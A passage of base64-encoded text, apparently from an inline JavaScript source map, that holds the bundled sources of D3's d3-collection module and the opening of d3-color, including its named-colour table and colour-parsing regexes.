4ID0gbWF4O1xuICBleHBvcnRzLm1lYW4gPSBtZWFuO1xuICBleHBvcnRzLm1lZGlhbiA9IG1lZGlhbjtcbiAgZXhwb3J0cy5tZXJnZSA9IG1lcmdlO1xuICBleHBvcnRzLm1pbiA9IG1pbjtcbiAgZXhwb3J0cy5wYWlycyA9IHBhaXJzO1xuICBleHBvcnRzLnBlcm11dGUgPSBwZXJtdXRlO1xuICBleHBvcnRzLnF1YW50aWxlID0gcXVhbnRpbGU7XG4gIGV4cG9ydHMucmFuZ2UgPSByYW5nZTtcbiAgZXhwb3J0cy5zY2FuID0gc2NhbjtcbiAgZXhwb3J0cy5zaHVmZmxlID0gc2h1ZmZsZTtcbiAgZXhwb3J0cy5zdW0gPSBzdW07XG4gIGV4cG9ydHMudGlja3MgPSB0aWNrcztcbiAgZXhwb3J0cy50aWNrU3RlcCA9IHRpY2tTdGVwO1xuICBleHBvcnRzLnRyYW5zcG9zZSA9IHRyYW5zcG9zZTtcbiAgZXhwb3J0cy52YXJpYW5jZSA9IHZhcmlhbmNlO1xuICBleHBvcnRzLnppcCA9IHppcDtcblxuICBPYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgJ19fZXNNb2R1bGUnLCB7IHZhbHVlOiB0cnVlIH0pO1xuXG59KSk7IiwiLy8gaHR0cHM6Ly9kM2pzLm9yZy9kMy1jb2xsZWN0aW9uLyBWZXJzaW9uIDEuMC4yLiBDb3B5cmlnaHQgMjAxNiBNaWtlIEJvc3RvY2suXG4oZnVuY3Rpb24gKGdsb2JhbCwgZmFjdG9yeSkge1xuICB0eXBlb2YgZXhwb3J0cyA9PT0gJ29iamVjdCcgJiYgdHlwZW9mIG1vZHVsZSAhPT0gJ3VuZGVmaW5lZCcgPyBmYWN0b3J5KGV4cG9ydHMpIDpcbiAgdHlwZW9mIGRlZmluZSA9PT0gJ2Z1bmN0aW9uJyAmJiBkZWZpbmUuYW1kID8gZGVmaW5lKFsnZXhwb3J0cyddLCBmYWN0b3J5KSA6XG4gIChmYWN0b3J5KChnbG9iYWwuZDMgPSBnbG9iYWwuZDMgfHwge30pKSk7XG59KHRoaXMsIChmdW5jdGlvbiAoZXhwb3J0cykgeyAndXNlIHN0cmljdCc7XG5cbnZhciBwcmVmaXggPSBcIiRcIjtcblxuZnVuY3Rpb24gTWFwKCkge31cblxuTWFwLnByb3RvdHlwZSA9IG1hcC5wcm90b3R5cGUgPSB7XG4gIGNvbnN0cnVjdG9yOiBNYXAsXG4gIGhhczogZnVuY3Rpb24oa2V5KSB7XG4gICAgcmV0dXJuIChwcmVmaXggKyBrZXkpIGluIHRoaXM7XG4gIH0sXG4gIGdldDogZnVuY3Rpb24oa2V5KSB7XG4gICAgcmV0dXJuIHRoaXNbcHJlZml4ICsga2V5XTtcbiAgfSxcbiAgc2V0OiBmdW5jdGlvbihrZXksIHZhbHVlKSB7XG4gICAgdGhpc1twcmVmaXggKyBrZXldID0gdmFsdWU7XG4gICAgcmV0dXJuIHRoaXM7XG4gIH0sXG4gIHJlbW92ZTogZnVuY3Rpb24oa2V5KSB7XG4gICAgdmFyIHByb3BlcnR5ID0gcHJlZml4ICsga2V5O1xuICAgIHJldHVybiBwcm9wZXJ0eSBpbiB0aGlzICYmIGRlbGV0ZSB0aGlzW3Byb3BlcnR5XTtcbiAgfSxcbiAgY2xlYXI6IGZ1bmN0aW9uKCkge1xuICAgIGZvciAodmFyIHByb3BlcnR5IGluIHRoaXMpIGlmIChwcm9wZXJ0eVswXSA9PT0gcHJlZml4KSBkZWxldGUgdGhpc1twcm9wZXJ0eV07XG4gIH0sXG4gIGtleXM6IGZ1bmN0aW9uKCkge1xuICAgIHZhciBrZXlzID0gW107XG4gICAgZm9yICh2YXIgcHJvcGVydHkgaW4gdGhpcykgaWYgKHByb3BlcnR5WzBdID09PSBwcmVmaXgpIGtleXMucHVzaChwcm9wZXJ0eS5zbGljZSgxKSk7XG4gICAgcmV0dXJuIGtleXM7XG4gIH0sXG4gIHZhbHVlczogZnVuY3Rpb24oKSB7XG4gICAgdmFyIHZhbHVlcyA9IFtdO1xuICAgIGZvciAodmFyIHByb3BlcnR5IGluIHRoaXMpIGlmIChwcm9wZXJ0eVswXSA9PT0gcHJlZml4KSB2YWx1ZXMucHVzaCh0aGlzW3Byb3BlcnR5XSk7XG4gICAgcmV0dXJuIHZhbHVlcztcbiAgfSxcbiAgZW50cmllczogZnVuY3Rpb24oKSB7XG4gICAgdmFyIGVudHJpZXMgPSBbXTtcbiAgICBmb3IgKHZhciBwcm9wZXJ0eSBpbiB0aGlzKSBpZiAocHJvcGVydHlbMF0gPT09IHByZWZpeCkgZW50cmllcy5wdXNoKHtrZXk6IHByb3BlcnR5LnNsaWNlKDEpLCB2YWx1ZTogdGhpc1twcm9wZXJ0eV19KTtcbiAgICByZXR1cm4gZW50cmllcztcbiAgfSxcbiAgc2l6ZTogZnVuY3Rpb24oKSB7XG4gICAgdmFyIHNpemUgPSAwO1xuICAgIGZvciAodmFyIHByb3BlcnR5IGluIHRoaXMpIGlmIChwcm9wZXJ0eVswXSA9PT0gcHJlZml4KSArK3NpemU7XG4gICAgcmV0dXJuIHNpemU7XG4gIH0sXG4gIGVtcHR5OiBmdW5jdGlvbigpIHtcbiAgICBmb3IgKHZhciBwcm9wZXJ0eSBpbiB0aGlzKSBpZiAocHJvcGVydHlbMF0gPT09IHByZWZpeCkgcmV0dXJuIGZhbHNlO1xuICAgIHJldHVybiB0cnVlO1xuICB9LFxuICBlYWNoOiBmdW5jdGlvbihmKSB7XG4gICAgZm9yICh2YXIgcHJvcGVydHkgaW4gdGhpcykgaWYgKHByb3BlcnR5WzBdID09PSBwcmVmaXgpIGYodGhpc1twcm9wZXJ0eV0sIHByb3BlcnR5LnNsaWNlKDEpLCB0aGlzKTtcbiAgfVxufTtcblxuZnVuY3Rpb24gbWFwKG9iamVjdCwgZikge1xuICB2YXIgbWFwID0gbmV3IE1hcDtcblxuICAvLyBDb3B5IGNvbnN0cnVjdG9yLlxuICBpZiAob2JqZWN0IGluc3RhbmNlb2YgTWFwKSBvYmplY3QuZWFjaChmdW5jdGlvbih2YWx1ZSwga2V5KSB7IG1hcC5zZXQoa2V5LCB2YWx1ZSk7IH0pO1xuXG4gIC8vIEluZGV4IGFycmF5IGJ5IG51bWVyaWMgaW5kZXggb3Igc3BlY2lmaWVkIGtleSBmdW5jdGlvbi5cbiAgZWxzZSBpZiAoQXJyYXkuaXNBcnJheShvYmplY3QpKSB7XG4gICAgdmFyIGkgPSAtMSxcbiAgICAgICAgbiA9IG9iamVjdC5sZW5ndGgsXG4gICAgICAgIG87XG5cbiAgICBpZiAoZiA9PSBudWxsKSB3aGlsZSAoKytpIDwgbikgbWFwLnNldChpLCBvYmplY3RbaV0pO1xuICAgIGVsc2Ugd2hpbGUgKCsraSA8IG4pIG1hcC5zZXQoZihvID0gb2JqZWN0W2ldLCBpLCBvYmplY3QpLCBvKTtcbiAgfVxuXG4gIC8vIENvbnZlcnQgb2JqZWN0IHRvIG1hcC5cbiAgZWxzZSBpZiAob2JqZWN0KSBmb3IgKHZhciBrZXkgaW4gb2JqZWN0KSBtYXAuc2V0KGtleSwgb2JqZWN0W2tleV0pO1xuXG4gIHJldHVybiBtYXA7XG59XG5cbnZhciBuZXN0ID0gZnVuY3Rpb24oKSB7XG4gIHZhciBrZXlzID0gW10sXG4gICAgICBzb3J0S2V5cyA9IFtdLFxuICAgICAgc29ydFZhbHVlcyxcbiAgICAgIHJvbGx1cCxcbiAgICAgIG5lc3Q7XG5cbiAgZnVuY3Rpb24gYXBwbHkoYXJyYXksIGRlcHRoLCBjcmVhdGVSZXN1bHQsIHNldFJlc3VsdCkge1xuICAgIGlmIChkZXB0aCA+PSBrZXlzLmxlbmd0aCkgcmV0dXJuIHJvbGx1cCAhPSBudWxsXG4gICAgICAgID8gcm9sbHVwKGFycmF5KSA6IChzb3J0VmFsdWVzICE9IG51bGxcbiAgICAgICAgPyBhcnJheS5zb3J0KHNvcnRWYWx1ZXMpXG4gICAgICAgIDogYXJyYXkpO1xuXG4gICAgdmFyIGkgPSAtMSxcbiAgICAgICAgbiA9IGFycmF5Lmxlbmd0aCxcbiAgICAgICAga2V5ID0ga2V5c1tkZXB0aCsrXSxcbiAgICAgICAga2V5VmFsdWUsXG4gICAgICAgIHZhbHVlLFxuICAgICAgICB2YWx1ZXNCeUtleSA9IG1hcCgpLFxuICAgICAgICB2YWx1ZXMsXG4gICAgICAgIHJlc3VsdCA9IGNyZWF0ZVJlc3VsdCgpO1xuXG4gICAgd2hpbGUgKCsraSA8IG4pIHtcbiAgICAgIGlmICh2YWx1ZXMgPSB2YWx1ZXNCeUtleS5nZXQoa2V5VmFsdWUgPSBrZXkodmFsdWUgPSBhcnJheVtpXSkgKyBcIlwiKSkge1xuICAgICAgICB2YWx1ZXMucHVzaCh2YWx1ZSk7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICB2YWx1ZXNCeUtleS5zZXQoa2V5VmFsdWUsIFt2YWx1ZV0pO1xuICAgICAgfVxuICAgIH1cblxuICAgIHZhbHVlc0J5S2V5LmVhY2goZnVuY3Rpb24odmFsdWVzLCBrZXkpIHtcbiAgICAgIHNldFJlc3VsdChyZXN1bHQsIGtleSwgYXBwbHkodmFsdWVzLCBkZXB0aCwgY3JlYXRlUmVzdWx0LCBzZXRSZXN1bHQpKTtcbiAgICB9KTtcblxuICAgIHJldHVybiByZXN1bHQ7XG4gIH1cblxuICBmdW5jdGlvbiBlbnRyaWVzKG1hcCQkMSwgZGVwdGgpIHtcbiAgICBpZiAoKytkZXB0aCA+IGtleXMubGVuZ3RoKSByZXR1cm4gbWFwJCQxO1xuICAgIHZhciBhcnJheSwgc29ydEtleSA9IHNvcnRLZXlzW2RlcHRoIC0gMV07XG4gICAgaWYgKHJvbGx1cCAhPSBudWxsICYmIGRlcHRoID49IGtleXMubGVuZ3RoKSBhcnJheSA9IG1hcCQkMS5lbnRyaWVzKCk7XG4gICAgZWxzZSBhcnJheSA9IFtdLCBtYXAkJDEuZWFjaChmdW5jdGlvbih2LCBrKSB7IGFycmF5LnB1c2goe2tleTogaywgdmFsdWVzOiBlbnRyaWVzKHYsIGRlcHRoKX0pOyB9KTtcbiAgICByZXR1cm4gc29ydEtleSAhPSBudWxsID8gYXJyYXkuc29ydChmdW5jdGlvbihhLCBiKSB7IHJldHVybiBzb3J0S2V5KGEua2V5LCBiLmtleSk7IH0pIDogYXJyYXk7XG4gIH1cblxuICByZXR1cm4gbmVzdCA9IHtcbiAgICBvYmplY3Q6IGZ1bmN0aW9uKGFycmF5KSB7IHJldHVybiBhcHBseShhcnJheSwgMCwgY3JlYXRlT2JqZWN0LCBzZXRPYmplY3QpOyB9LFxuICAgIG1hcDogZnVuY3Rpb24oYXJyYXkpIHsgcmV0dXJuIGFwcGx5KGFycmF5LCAwLCBjcmVhdGVNYXAsIHNldE1hcCk7IH0sXG4gICAgZW50cmllczogZnVuY3Rpb24oYXJyYXkpIHsgcmV0dXJuIGVudHJpZXMoYXBwbHkoYXJyYXksIDAsIGNyZWF0ZU1hcCwgc2V0TWFwKSwgMCk7IH0sXG4gICAga2V5OiBmdW5jdGlvbihkKSB7IGtleXMucHVzaChkKTsgcmV0dXJuIG5lc3Q7IH0sXG4gICAgc29ydEtleXM6IGZ1bmN0aW9uKG9yZGVyKSB7IHNvcnRLZXlzW2tleXMubGVuZ3RoIC0gMV0gPSBvcmRlcjsgcmV0dXJuIG5lc3Q7IH0sXG4gICAgc29ydFZhbHVlczogZnVuY3Rpb24ob3JkZXIpIHsgc29ydFZhbHVlcyA9IG9yZGVyOyByZXR1cm4gbmVzdDsgfSxcbiAgICByb2xsdXA6IGZ1bmN0aW9uKGYpIHsgcm9sbHVwID0gZjsgcmV0dXJuIG5lc3Q7IH1cbiAgfTtcbn07XG5cbmZ1bmN0aW9uIGNyZWF0ZU9iamVjdCgpIHtcbiAgcmV0dXJuIHt9O1xufVxuXG5mdW5jdGlvbiBzZXRPYmplY3Qob2JqZWN0LCBrZXksIHZhbHVlKSB7XG4gIG9iamVjdFtrZXldID0gdmFsdWU7XG59XG5cbmZ1bmN0aW9uIGNyZWF0ZU1hcCgpIHtcbiAgcmV0dXJuIG1hcCgpO1xufVxuXG5mdW5jdGlvbiBzZXRNYXAobWFwJCQxLCBrZXksIHZhbHVlKSB7XG4gIG1hcCQkMS5zZXQoa2V5LCB2YWx1ZSk7XG59XG5cbmZ1bmN0aW9uIFNldCgpIHt9XG5cbnZhciBwcm90byA9IG1hcC5wcm90b3R5cGU7XG5cblNldC5wcm90b3R5cGUgPSBzZXQucHJvdG90eXBlID0ge1xuICBjb25zdHJ1Y3RvcjogU2V0LFxuICBoYXM6IHByb3RvLmhhcyxcbiAgYWRkOiBmdW5jdGlvbih2YWx1ZSkge1xuICAgIHZhbHVlICs9IFwiXCI7XG4gICAgdGhpc1twcmVmaXggKyB2YWx1ZV0gPSB2YWx1ZTtcbiAgICByZXR1cm4gdGhpcztcbiAgfSxcbiAgcmVtb3ZlOiBwcm90by5yZW1vdmUsXG4gIGNsZWFyOiBwcm90by5jbGVhcixcbiAgdmFsdWVzOiBwcm90by5rZXlzLFxuICBzaXplOiBwcm90by5zaXplLFxuICBlbXB0eTogcHJvdG8uZW1wdHksXG4gIGVhY2g6IHByb3RvLmVhY2hcbn07XG5cbmZ1bmN0aW9uIHNldChvYmplY3QsIGYpIHtcbiAgdmFyIHNldCA9IG5ldyBTZXQ7XG5cbiAgLy8gQ29weSBjb25zdHJ1Y3Rvci5cbiAgaWYgKG9iamVjdCBpbnN0YW5jZW9mIFNldCkgb2JqZWN0LmVhY2goZnVuY3Rpb24odmFsdWUpIHsgc2V0LmFkZCh2YWx1ZSk7IH0pO1xuXG4gIC8vIE90aGVyd2lzZSwgYXNzdW1lIGl04oCZcyBhbiBhcnJheS5cbiAgZWxzZSBpZiAob2JqZWN0KSB7XG4gICAgdmFyIGkgPSAtMSwgbiA9IG9iamVjdC5sZW5ndGg7XG4gICAgaWYgKGYgPT0gbnVsbCkgd2hpbGUgKCsraSA8IG4pIHNldC5hZGQob2JqZWN0W2ldKTtcbiAgICBlbHNlIHdoaWxlICgrK2kgPCBuKSBzZXQuYWRkKGYob2JqZWN0W2ldLCBpLCBvYmplY3QpKTtcbiAgfVxuXG4gIHJldHVybiBzZXQ7XG59XG5cbnZhciBrZXlzID0gZnVuY3Rpb24obWFwKSB7XG4gIHZhciBrZXlzID0gW107XG4gIGZvciAodmFyIGtleSBpbiBtYXApIGtleXMucHVzaChrZXkpO1xuICByZXR1cm4ga2V5cztcbn07XG5cbnZhciB2YWx1ZXMgPSBmdW5jdGlvbihtYXApIHtcbiAgdmFyIHZhbHVlcyA9IFtdO1xuICBmb3IgKHZhciBrZXkgaW4gbWFwKSB2YWx1ZXMucHVzaChtYXBba2V5XSk7XG4gIHJldHVybiB2YWx1ZXM7XG59O1xuXG52YXIgZW50cmllcyA9IGZ1bmN0aW9uKG1hcCkge1xuICB2YXIgZW50cmllcyA9IFtdO1xuICBmb3IgKHZhciBrZXkgaW4gbWFwKSBlbnRyaWVzLnB1c2goe2tleToga2V5LCB2YWx1ZTogbWFwW2tleV19KTtcbiAgcmV0dXJuIGVudHJpZXM7XG59O1xuXG5leHBvcnRzLm5lc3QgPSBuZXN0O1xuZXhwb3J0cy5zZXQgPSBzZXQ7XG5leHBvcnRzLm1hcCA9IG1hcDtcbmV4cG9ydHMua2V5cyA9IGtleXM7XG5leHBvcnRzLnZhbHVlcyA9IHZhbHVlcztcbmV4cG9ydHMuZW50cmllcyA9IGVudHJpZXM7XG5cbk9iamVjdC5kZWZpbmVQcm9wZXJ0eShleHBvcnRzLCAnX19lc01vZHVsZScsIHsgdmFsdWU6IHRydWUgfSk7XG5cbn0pKSk7XG4iLCIvLyBodHRwczovL2QzanMub3JnL2QzLWNvbG9yLyBWZXJzaW9uIDEuMC4yLiBDb3B5cmlnaHQgMjAxNiBNaWtlIEJvc3RvY2suXG4oZnVuY3Rpb24gKGdsb2JhbCwgZmFjdG9yeSkge1xuICB0eXBlb2YgZXhwb3J0cyA9PT0gJ29iamVjdCcgJiYgdHlwZW9mIG1vZHVsZSAhPT0gJ3VuZGVmaW5lZCcgPyBmYWN0b3J5KGV4cG9ydHMpIDpcbiAgdHlwZW9mIGRlZmluZSA9PT0gJ2Z1bmN0aW9uJyAmJiBkZWZpbmUuYW1kID8gZGVmaW5lKFsnZXhwb3J0cyddLCBmYWN0b3J5KSA6XG4gIChmYWN0b3J5KChnbG9iYWwuZDMgPSBnbG9iYWwuZDMgfHwge30pKSk7XG59KHRoaXMsIChmdW5jdGlvbiAoZXhwb3J0cykgeyAndXNlIHN0cmljdCc7XG5cbnZhciBkZWZpbmUgPSBmdW5jdGlvbihjb25zdHJ1Y3RvciwgZmFjdG9yeSwgcHJvdG90eXBlKSB7XG4gIGNvbnN0cnVjdG9yLnByb3RvdHlwZSA9IGZhY3RvcnkucHJvdG90eXBlID0gcHJvdG90eXBlO1xuICBwcm90b3R5cGUuY29uc3RydWN0b3IgPSBjb25zdHJ1Y3Rvcjtcbn07XG5cbmZ1bmN0aW9uIGV4dGVuZChwYXJlbnQsIGRlZmluaXRpb24pIHtcbiAgdmFyIHByb3RvdHlwZSA9IE9iamVjdC5jcmVhdGUocGFyZW50LnByb3RvdHlwZSk7XG4gIGZvciAodmFyIGtleSBpbiBkZWZpbml0aW9uKSBwcm90b3R5cGVba2V5XSA9IGRlZmluaXRpb25ba2V5XTtcbiAgcmV0dXJuIHByb3RvdHlwZTtcbn1cblxuZnVuY3Rpb24gQ29sb3IoKSB7fVxuXG52YXIgZGFya2VyID0gMC43O1xudmFyIGJyaWdodGVyID0gMSAvIGRhcmtlcjtcblxudmFyIHJlSSA9IFwiXFxcXHMqKFsrLV0/XFxcXGQrKVxcXFxzKlwiO1xudmFyIHJlTiA9IFwiXFxcXHMqKFsrLV0/XFxcXGQqXFxcXC4/XFxcXGQrKD86W2VFXVsrLV0/XFxcXGQrKT8pXFxcXHMqXCI7XG52YXIgcmVQID0gXCJcXFxccyooWystXT9cXFxcZCpcXFxcLj9cXFxcZCsoPzpbZUVdWystXT9cXFxcZCspPyklXFxcXHMqXCI7XG52YXIgcmVIZXgzID0gL14jKFswLTlhLWZdezN9KSQvO1xudmFyIHJlSGV4NiA9IC9eIyhbMC05YS1mXXs2fSkkLztcbnZhciByZVJnYkludGVnZXIgPSBuZXcgUmVnRXhwKFwiXnJnYlxcXFwoXCIgKyBbcmVJLCByZUksIHJlSV0gKyBcIlxcXFwpJFwiKTtcbnZhciByZVJnYlBlcmNlbnQgPSBuZXcgUmVnRXhwKFwiXnJnYlxcXFwoXCIgKyBbcmVQLCByZVAsIHJlUF0gKyBcIlxcXFwpJFwiKTtcbnZhciByZVJnYmFJbnRlZ2VyID0gbmV3IFJlZ0V4cChcIl5yZ2JhXFxcXChcIiArIFtyZUksIHJlSSwgcmVJLCByZU5dICsgXCJcXFxcKSRcIik7XG52YXIgcmVSZ2JhUGVyY2VudCA9IG5ldyBSZWdFeHAoXCJecmdiYVxcXFwoXCIgKyBbcmVQLCByZVAsIHJlUCwgcmVOXSArIFwiXFxcXCkkXCIpO1xudmFyIHJlSHNsUGVyY2VudCA9IG5ldyBSZWdFeHAoXCJeaHNsXFxcXChcIiArIFtyZU4sIHJlUCwgcmVQXSArIFwiXFxcXCkkXCIpO1xudmFyIHJlSHNsYVBlcmNlbnQgPSBuZXcgUmVnRXhwKFwiXmhzbGFcXFxcKFwiICsgW3JlTiwgcmVQLCByZVAsIHJlTl0gKyBcIlxcXFwpJFwiKTtcblxudmFyIG5hbWVkID0ge1xuICBhbGljZWJsdWU6IDB4ZjBmOGZmLFxuICBhbnRpcXVld2hpdGU6IDB4ZmFlYmQ3LFxuICBhcXVhOiAweDAwZmZmZixcbiAgYXF1YW1hcmluZTogMHg3ZmZmZDQsXG4gIGF6dXJlOiAweGYwZmZmZixcbiAgYmVpZ2U6IDB4ZjVmNWRjLFxuICBiaXNxdWU6IDB4ZmZlNGM0LFxuICBibGFjazogMHgwMDAwMDAsXG4gIGJsYW5jaGVkYWxtb25kOiAweGZmZWJjZCxcbiAgYmx1ZTogMHgwMDAwZmYsXG4gIGJsdWV2aW9sZXQ6IDB4OGEyYmUyLFxuICBicm93bjogMHhhNTJhMmEsXG4gIGJ1cmx5d29vZDogMHhkZWI4ODcsXG4gIGNhZGV0Ymx1ZTogMHg1ZjllYTAsXG4gIGNoYXJ0cmV1c2U6IDB4N2ZmZjAwLFxuICBjaG9jb2xhdGU6IDB4ZDI2OTFlLFxuICBjb3JhbDogMHhmZjdmNTAsXG4gIGNvcm5mbG93ZXJibHVlOiAweDY0OTVlZCxcbiAgY29ybnNpbGs6IDB4ZmZmOGRjLFxuICBjcmltc29uOiAweGRjMTQzYyxcbiAgY3lhbjogMHgwMGZmZmYsXG4gIGRhcmtibHVlOiAweDAwMDA4YixcbiAgZGFya2N5YW46IDB4MDA4YjhiLFxuICBkYXJrZ29sZGVucm9kOiAweGI4ODYwYixcbiAgZGFya2dyYXk6IDB4YTlhOWE5LFxuICBkYXJrZ3JlZW46IDB4MDA2NDAwLFxuICBkYXJrZ3JleTogMHhhOWE5YTksXG4gIGRhcmtraGFraTogMHhiZGI3NmIsXG4gIGRhcmttYWdlbnRhOiAweDhiMDA4YixcbiAgZGFya29saXZlZ3JlZW46IDB4NTU2YjJmLFxuICBkYXJrb3JhbmdlOiAweGZmOGMwMCxcbiAgZGFya29yY2hpZDogMHg5OTMyY2MsXG4gIGRhcmtyZWQ6IDB4OGIwMDAwLFxuICBkYXJrc2FsbW9uOiAweGU5OTY3YSxcbiAgZGFya3NlYWdyZWVuOiAweDhmYmM4ZixcbiAgZGFya3NsYXRlYmx1ZTogMHg0ODNkOGIsXG4gIGRhcmtzbGF0ZWdyYXk6IDB4MmY0ZjRmLFxuICBkYXJrc2xhdGVncmV5OiAweDJmNGY0ZixcbiAgZGFya3R1cnF1b2lzZTogMHgwMGNlZDEsXG4gIGRhcmt2aW9sZXQ6IDB4OTQwMGQzLFxuICBkZWVwcGluazogMHhmZjE0OTMsXG4gIGRlZXBza3libHVlOiAweDAwYmZmZixcbiAgZGltZ3JheTogMHg2OTY5NjksXG4gIGRpbWdyZXk6IDB4Njk2OTY5LFxuICBkb2RnZXJibHVlOiAweDFlOTBmZixcbiAgZmlyZWJyaWNrOiAweGIyMjIyMixcbiAgZmxvcmFsd2hpdGU6IDB4ZmZmYWYwLFxuICBmb3Jlc3RncmVlbjogMHgyMjhiMjIsXG4gIGZ1Y2hzaWE6IDB4ZmYwMGZmLFxuICBnYWluc2Jvcm86IDB4ZGNkY2RjLFxuICBnaG9zdHdoaXRlOiAweGY4ZjhmZixcbiAgZ29sZDogMHhmZmQ3MDAsXG4gIGdvbGRlbnJvZDogMHhkYWE1MjAsXG4gIGdyYXk6IDB4ODA4MDgwLFxuICBncmVlbjogMHgwMDgwMDAsXG4gIGdyZWVueWVsbG93OiAweGFkZmYyZixcbiAgZ3JleTogMHg4MDgwODAsXG4gIGhvbmV5ZGV3OiAweGYwZmZmMCxcbiAgaG90cGluazogMHhmZjY5YjQsXG4gIGluZGlhbnJlZDogMHhjZDVjNWMsXG4gIGluZGlnbzogMHg0YjAwODIsXG4gIGl2b3J5OiAweGZmZmZmMCxcbiAga2hha2k6IDB4ZjBlNjhjLFxuICBsYXZlbmRlcjogMHhlNmU2ZmEsXG4gIGxhdmVuZGVyYmx1c2g6IDB4ZmZmMGY1LFxuICBsYXduZ3JlZW46IDB4N2NmYzAwLFxuICBsZW1vbmNoaWZmb246IDB4ZmZmYWNkLFxuICBsaWdodGJsdWU6IDB4YWRkOGU2LFxuICBsaWdodGNvcmFsOiAweGYwODA4MCxcbiAgbGlnaHRjeWFuOiAweGUwZmZmZixcbiAgbGlnaHRnb2xkZW5yb2R5ZWxsb3c6IDB4ZmFmYWQyLFxuICBsaWdodGdyYXk6IDB4ZDNkM2QzLFxuICBsaWdodGdyZWVuOiAweDkwZWU5MCxcbiAgbGlnaHRncmV5OiAweGQzZDNkMyxcbiAgbGlnaHRwaW5rOiAweGZmYjZjMSxcbiAgbGlnaHRzYWxtb246IDB4ZmZhMDdhLFxuICBsaWdodHNlYWdyZWVuOiAweDIwYjJhYSxcbiAgbGlnaHRza3libHVlOiAweDg3Y2VmYSxcbiAgbGlnaHRzbGF0ZWdyYXk6IDB4Nzc4ODk5LFxuICBsaWdodHNsYXRlZ3JleTogMHg3Nzg4OTksXG4gIGxpZ2h0c3RlZWxibHVlOiAweGIwYzRkZSxcbiAgbGlnaHR5ZWxsb3c6IDB4ZmZmZmUwLFxuICBsaW1lOiAweDAwZmYwMCxcbiAgbGltZWdyZWVuOiAweDMyY2QzMixcbiAgbGluZW46IDB4ZmFmMGU2LFxuICBtYWdlbnRhOiAweGZmMDBmZixcbiAgbWFyb29uOiAweDgwMDAwMCxcbiAgbWVkaXVtYXF1YW1hcmluZTogMHg2NmNkYWEsXG4gIG1lZGl1bWJsdWU6IDB4MDAwMGNkLFxuICBtZWRpdW1vcmNoaWQ6IDB4YmE1NWQzLFxuICBtZWRpdW1wdXJwbGU6IDB4OTM3MGRiLFxuICBtZWRpdW1zZWFncmVlbjogMHgzY2IzNzEsXG4gIG1lZGl1bXNsYXRlYmx1ZTogMHg3YjY4ZWUsXG4gIG1lZGl1bXNwcmluZ2dyZWVuOiAweDAwZmE5YSxcbiAgbWVkaXVtdHVycXVvaXNlOiAweDQ4ZDFjYyxcbiAgbWVkaXVtdmlvbGV0cmVkOiAweGM3MTU4NSxcbiAgbWlkbmlnaHRibHVlOiAweDE5MTk3MCxcbiAgbWludGNyZWFtOiAweGY1ZmZmYSxcbiAgbWlzdHlyb3NlOiAweGZmZTRlMSxcbiAgbW9jY2FzaW46IDB4ZmZlNGI1LFxuICBuYXZham93aGl0ZTogMHhmZmRlYWQsXG4gIG5hdnk6IDB4MDAwMDgwLFxuICBvbGRsYWNlOiAweGZkZjVlNixcbiAgb2xpdmU6IDB4ODA4MDAwLFxuICBvbGl2ZWRyYWI6IDB4NmI4ZTIzLFxuICBvcmFuZ2U6IDB4ZmZhNTAwLFxuICBvcmFuZ2VyZWQ6IDB4ZmY0NTAwLFxuICBvcmNoaWQ6IDB4ZGE3MGQ2LFxuICBwYWxlZ29sZGVucm9kOiAweGVlZThhYSxcbiAgcGFsZWdyZWVuOiAweDk4ZmI5OCxcbiAgcGFsZXR1cnF1b2lzZTogMHhhZmVlZWUsXG4gIHBhbGV2aW9sZXRyZWQ6IDB4ZGI3MDkzLFxuICBwYXBheWF3aGlwOiAweGZmZWZkNSxcbiAgcGVhY2hwdWZmOiAweGZmZGFiOSxcbiAgcGVydTogMHhjZDg1M2YsXG4gIHBpbms6IDB4ZmZjMGNiLFxuICBwbHVtOiAweGRkYTBkZCxcbiAgcG93ZGVyYmx1ZTogMHhiMGUwZTYsXG4gIHB1cnBsZTogMHg4MDAwODAsXG4gIHJlYmVjY2FwdXJwbGU6IDB4NjYzMzk5LFxuICByZWQ6IDB4ZmYwMDAwLFxuICByb3N5YnJvd246IDB4YmM4ZjhmLFxuICByb3lhbGJsdWU6IDB4NDE2OWUxLFxuICBzYWRkbGVicm93bjogMHg4YjQ1MTMsXG4gIHNhbG1vbjogMHhmYTgwNzIsXG4gIHNhbmR5YnJvd246IDB4ZjRhNDYwLFxuICBzZWFncmVlbjogMHgyZThiNTcsXG4gIHNlYXNoZWxsOiAweGZmZjVlZSxcbiAgc2llbm5hOiAweGEwNTIyZCxcbiAgc2lsdmVyOiAweGMwYzBjMCxcbiAgc2t5Ymx1ZTogMHg4N2NlZWIsXG4gIHNsYXRlYmx1ZTogMHg2YTVhY2QsXG4gIHNsYXRlZ3JheTogMHg3MDgwOTAsXG4gIHNsYXRlZ3JleTogMHg3MDgwOTAsXG4gIHNub3c6IDB4ZmZmYWZhLFxuICBzcHJpbmdncmVlbjogMHgwMGZmN2YsXG4gIHN0ZWVsYmx1ZTogMHg0NjgyYjQsXG4gIHRhbjogMHhkMmI0OGMsXG4gIHRlYWw6IDB4MDA4MDgwLFxuICB0aGlzdGxlOiAweGQ4YmZkOCxcbiAgdG9tYXRvOiAweGZmNjM0NyxcbiAgdHVycXVvaXNlOiAweDQwZTBkMCxcbiAgdmlvbGV0OiAweGVlODJlZSxcbiAgd2hlYXQ6IDB4ZjVkZWIzLFxuICB3aGl0ZTogMHhmZmZmZmYsXG4gIHdoaXRlc21va2U6IDB4ZjVmNWY1LFxuICB5ZWxsb3c6IDB4ZmZmZjAwLFxuICB5ZWxsb3dncmVlbjogMHg5YWNkMzJcbn07XG5cbmRlZmluZShDb2xvciwgY29sb3IsIHtcbiAgZGlzcGxheWFibGU6IGZ1bmN0aW9uKCkge1xuICAgIHJldHVybiB0aGlzLnJnYigpLmRpc3BsYXlhYmxlKCk7XG4gIH0sXG4gIHRvU3RyaW5nOiBmdW5jdGlvbigpIHtcbiAgICByZXR1cm4gdGhpcy5yZ2IoKSArIFwiXCI7XG4gIH1cbn0pO1xuXG5mdW5jdGlvbiBjb2xvcihmb3JtYXQpIHtcbiAgdmFyIG07XG4gIGZvcm1hdCA9IChmb3JtYXQgKyBcIlwiKS50cmltKCkudG9Mb3dlckNhc2UoKTtcbiAgcmV0dXJuIChtID0gcmVIZXgzLmV4ZWMoZm9ybWF0KSkgPyAobSA9IHBhcnNlSW50KG1bMV0sIDE2KSwgbmV3IFJnYigobSA+PiA4ICYgMHhmKSB8IChtID4+IDQgJiAweDBmMCksIChtID4+IDQgJiAweGYpIHwgKG0gJiAweGYwKSwgKChtICYgMHhmKSA8PCA0